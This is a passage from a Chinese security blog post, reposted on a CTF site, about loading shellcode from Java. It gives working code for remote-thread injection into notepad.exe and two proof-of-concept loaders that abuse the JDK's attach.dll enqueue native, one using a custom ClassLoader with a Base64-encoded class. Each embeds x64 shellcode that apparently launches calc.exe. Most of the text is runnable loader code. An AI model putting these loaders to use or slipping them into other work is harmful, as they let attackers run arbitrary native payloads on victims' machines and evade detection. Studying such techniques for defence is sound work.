                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };
        int shellcodelength =  shellcode.length;
        String targetProcess = "C:\Windows\System32\notepad.exe";
        WinBase.STARTUPINFO startupinfo = new WinBase.STARTUPINFO();
        WinBase.PROCESS_INFORMATION process_information = new WinBase.PROCESS_INFORMATION();
      //利用instance.CreateProcess创建进程,会一直存在找不到程序的报错,所以利用kernel32.CreateProcess
        boolean bProcess = kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, startupinfo, process_information);
        if (!bProcess){
            System.out.println("CreateProcess Failed!");
            return;
        }
        WinNT.HANDLE hProcess = process_information.hProcess;
        Pointer pointer = instance.VirtualAllocEx(hProcess, Pointer.createConstant(0), shellcodelength, 4096, 64);
        Memory memory = new Memory((long) shellcodelength);
        for (int j = 0; j < shellcodelength; ++j) {
            memory.setByte((long) j, shellcode[j]);
        }
        boolean bWriteProcess = instance.WriteProcessMemory(hProcess, pointer, memory, shellcodelength, new IntByReference());
        if (!bWriteProcess){
            System.out.println("WriteProcessMemory Failed!");
            return;
        }
        WinNT.HANDLE handle = instance.CreateRemoteThread(hProcess, null, shellcodelength, pointer, null, 0, null);
    }
}

JAVA加载DLL或Shellcode方法学习

0x03 基于JDK自带的Native方法

其实这个方法只要你将向JVM attach agent的整个流程进行分析,就可以发现了。就拿Windows平台举个例子:

Attach底层流程分析

分析对指定JVM pid进行ATTACH操作:

sun/tools/attach/AttachProviderImpl.java#attachVirtualMachine方法中可以看到经过一些基本的检测后,实例化VirtualMachineImpl

JAVA加载DLL或Shellcode方法学习

在实例化过程中,首先会执行如下静态代码块,可以了解程序加载了attach.dll,同时生成stubgenerateStub)。

JAVA加载DLL或Shellcode方法学习

同时在实例化的过程中,会打开我们指定的JVM进程,然后调用Native方法:enqueue方法。

JAVA加载DLL或Shellcode方法学习

而后就是loadAgent的操作了,分析看看:

sun/tools/attach/HotSpotVirtualMachine.java#loadAgentLibrary

JAVA加载DLL或Shellcode方法学习

跟进sun/tools/attach/VirtualMachineImpl.java#execute方法,可以发现与JVM创建管道通信后,又调用*enqueue*方法将对JVM的指令压入执行队列中。

JAVA加载DLL或Shellcode方法学习

从上面的分析,我们可以明白在整个ATTACH过程中,有个关键的函数:enqueue,它是Native函数,具体的底层实现逻辑,需要下载jdk源码进行查看。

来看看enqueue函数对应的jdk/src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c#Java_sun_tools_attach_VirtualMachineImpl_enqueue

你会发现如下的函数实际上和我们在写线程注入shellcode的逻辑是一模一样的:

向JVM进程申请空间(VirtualAllocEx)

向申请的空间写入数据(WriteProcessMemory)

在JVM进程中创建新的线程执行code(CreateRemoteThread)

其中stub就是要执行的code。


/*
 * Class:     sun_tools_attach_VirtualMachineImpl
 * Method:    enqueue
 * Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V
 */
JNIEXPORT void JNICALL Java_sun_tools_attach_VirtualMachineImpl_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    DataBlock data;
    DataBlock* pData;
    DWORD* pCode;
    DWORD stubLen;
    HANDLE hProcess, hThread;
    jint argsLen, i;
    jbyte* stubCode;
    jboolean isCopy;
    /*
     * Setup data to copy to target process
     */
    memset(&data, 0, sizeof(data));
    data._GetModuleHandle = _GetModuleHandle;
    data._GetProcAddress = _GetProcAddress;
    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");
    /*
     * Command and arguments
     */
    jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
    argsLen = (*env)->GetArrayLength(env, args);
    if (argsLen > 0) {
        if (argsLen > MAX_ARGS) {
            JNU_ThrowInternalError(env, "Too many arguments");
            return;
        }
        for (i=0; i<argsLen; i++) {
            jobject obj = (*env)->GetObjectArrayElement(env, args, i);
            if (obj == NULL) {
                data.arg[i][0] = '';
            } else {
                jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
            }
            if ((*env)->ExceptionOccurred(env)) return;
        }
    }
    for (i = argsLen; i < MAX_ARGS; i++) {
        data.arg[i][0] = '';
    }
    /* pipe name */
    jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);
    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */
    hProcess = (HANDLE)handle;
    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
    if ((*env)->ExceptionOccurred(env)) return;
    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
    /*
     * Create thread in target process to execute code
     */
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    if (hThread != NULL) {
        if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
            JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
        } else {
            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);
            if (exitCode) {
                switch (exitCode) {
                    case ERR_OPEN_JVM_FAIL :
                        JNU_ThrowIOException(env,
                            "jvm.dll not loaded by target process");
                        break;
                    case ERR_GET_ENQUEUE_FUNC_FAIL :
                        JNU_ThrowIOException(env,
                            "Unable to enqueue operation: the target VM does not support attach mechanism");
                        break;
                    default : {
                        char errmsg[128];
                        sprintf(errmsg, "Remote thread failed for unknown reason (%d)", exitCode);
                        JNU_ThrowInternalError(env, errmsg);
                    }
                }
            }
        }
        CloseHandle(hThread);
    } else {
        if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {
            //
            // This error will occur when attaching to a process belonging to
            // another terminal session. See "Remarks":
            // http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx
            //
            JNU_ThrowIOException(env,
                "Insufficient memory or insufficient privileges to attach");
        } else {
            JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
        }
    }
    VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}

因此收获另一种java加载shellcode的姿势:加载attach.dll,调用Native函数enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object ... args),控制stub参数即可。

实现加载shellcode

需要注意的是,当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。


package org.example;
import java.io.IOException;
import java.lang.reflect.Method;
public class Main {
    static{
        System.loadLibrary("attach");
    }
    public static void main(String[] args) {
        byte buf[] = new byte[]
                {
                        (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };
        try {
            Class<?> aClass = Class.forName("sun.tools.attach.VirtualMachineImpl");
            Method enqueue = aClass.getDeclaredMethod("enqueue",long.class,byte[].class,String.class,String.class,Object[].class);
            enqueue.setAccessible(true);
            enqueue.invoke(aClass,new Object[]{-1,buf,"test","test",new Object[]{}});
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    }
}

JAVA加载DLL或Shellcode方法学习

成功执行,其实上面的执行demo还是不保险的,因为attach.dll是 JDK和Server-jre默认自带的。但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。

但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。

把这个类编译成class文件,然后用Base64编码,然后写到如下POC里:


package sun.tools.attach;
import java.io.IOException;
public class VirtualMachineImpl {
    static native void enqueue(long hProcess, byte[] stub,
                               String cmd, String pipename, Object ... args) throws IOException;
    static {
        System.loadLibrary("attach");
    }
    public static void run(byte[] buf){
        try {
            enqueue(-1,buf,"","",new Object[]{});
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

POC:


package org.example;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class Main {
    public static class MyClassloader extends ClassLoader //继承ClassLoader
    {
        public Class getClass(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        byte buf[] = new byte[]
                {
                        (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };
        try {
            String classBase64 = "yv66vgAAADsAKQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWBf//////////CAAKAQAACgAMAA0HAA4MAA8AEAEAI3N1bi90b29scy9hdHRhY2gvVmlydHVhbE1hY2hpbmVJbXBsAQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYHABIBABNqYXZhL2xhbmcvRXhjZXB0aW9uCgARABQMABUABgEAD3ByaW50U3RhY2tUcmFjZQgAFwEABmF0dGFjaAoAGQAaBwAbDAAcAB0BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAIgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAANydW4BAAUoW0IpVgEADVN0YWNrTWFwVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABdWaXJ0dWFsTWFjaGluZUltcGwuamF2YQAhAAwAAgAAAAAABAABAAUABgABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAUBiAAPABAAAQAgAAAABAABACEACQAjACQAAQAeAAAAVQAGAAIAAAAYFAAHKhIJEgkDvQACuAALpwAITCu2ABOxAAEAAAAPABIAEQACAB8AAAAWAAUAAAANAA8AEAASAA4AEwAPABcAEQAlAAAABwACUgcAEQQACAAmAAYAAQAeAAAAIgABAAAAAAAGEha4ABixAAAAAQAfAAAACgACAAAACQAFAAoAAQAnAAAAAgAo";
            Class result = new MyClassloader().getClass(Base64.getDecoder().decode(classBase64));
            Method run = result.getDeclaredMethod("run",byte[].class);
            Object invoke = run.invoke(result, buf);
        } catch (Exception var2) {
            var2.printStackTrace();
        }
    }
}

JAVA加载DLL或Shellcode方法学习

0x04 参考链接

https://tttang.com/archive/1622/#toc__1

https://github.com/yzddmr6/Java-Shellcode-Loader

https://paper.seebug.org/1678/#java


原文始发于微信公众号(SecurityBooks):JAVA加载DLL或Shellcode方法学习

版权声明:admin 发表于 2022年10月11日 下午5:49。
转载请注明:JAVA加载DLL或Shellcode方法学习 | CTF导航

相关文章

暂无评论

暂无评论...